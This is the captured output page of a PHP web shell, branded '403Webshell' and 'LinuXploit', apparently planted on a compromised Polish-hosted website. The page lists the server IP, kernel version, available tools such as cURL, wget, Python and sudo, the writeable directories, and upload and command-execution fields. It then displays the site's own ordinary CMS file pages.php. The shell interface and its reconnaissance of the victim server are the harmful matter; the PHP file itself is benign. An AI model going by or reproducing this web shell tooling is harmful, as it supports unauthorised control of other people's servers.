403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /test2.famaresto/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /test2.famaresto/inc/pages.php
<?php
require_once __DIR__ . '/auth.php';

function cms_pages_dir(): string {
  return cms_data_dir() . '/pages';
}

function cms_page_file(string $slug): string {
  $slug = preg_replace('~[^a-z0-9\-]+~i', '', $slug);
  return cms_pages_dir() . '/' . $slug . '.json';
}

function cms_ensure_pages_dir(): void {
  $dir = cms_pages_dir();
  if (!is_dir($dir)) {
    @mkdir($dir, 0775, true);
  }
}

function cms_list_pages(): array {
  cms_ensure_pages_dir();
  $out = [];
  foreach (glob(cms_pages_dir() . '/*.json') ?: [] as $file) {
    $slug = basename($file, '.json');
    $data = cms_load_json($file, []);
    $out[] = [
      'slug' => $slug,
      'title' => (string)($data['title'] ?? $slug),
      'updated_at' => (string)($data['updated_at'] ?? ''),
      'file' => $file,
    ];
  }
  usort($out, fn($a,$b) => strcasecmp($a['slug'],$b['slug']));
  return $out;
}

function cms_load_page(string $slug): array {
  $file = cms_page_file($slug);
  $fallback = [
    'slug' => $slug,
    'title' => $slug,
    'sections' => [],
  ];
  $data = cms_load_json($file, $fallback);
  if (!isset($data['sections']) || !is_array($data['sections'])) $data['sections'] = [];
  $data['slug'] = $slug;
  return $data;
}

function cms_save_page(string $slug, array $data): bool {
  cms_ensure_pages_dir();
  $data['slug'] = $slug;
  $data['updated_at'] = date('c');
  return cms_save_json(cms_page_file($slug), $data);
}

Youez - 2016 - github.com/yon3zu
LinuXploit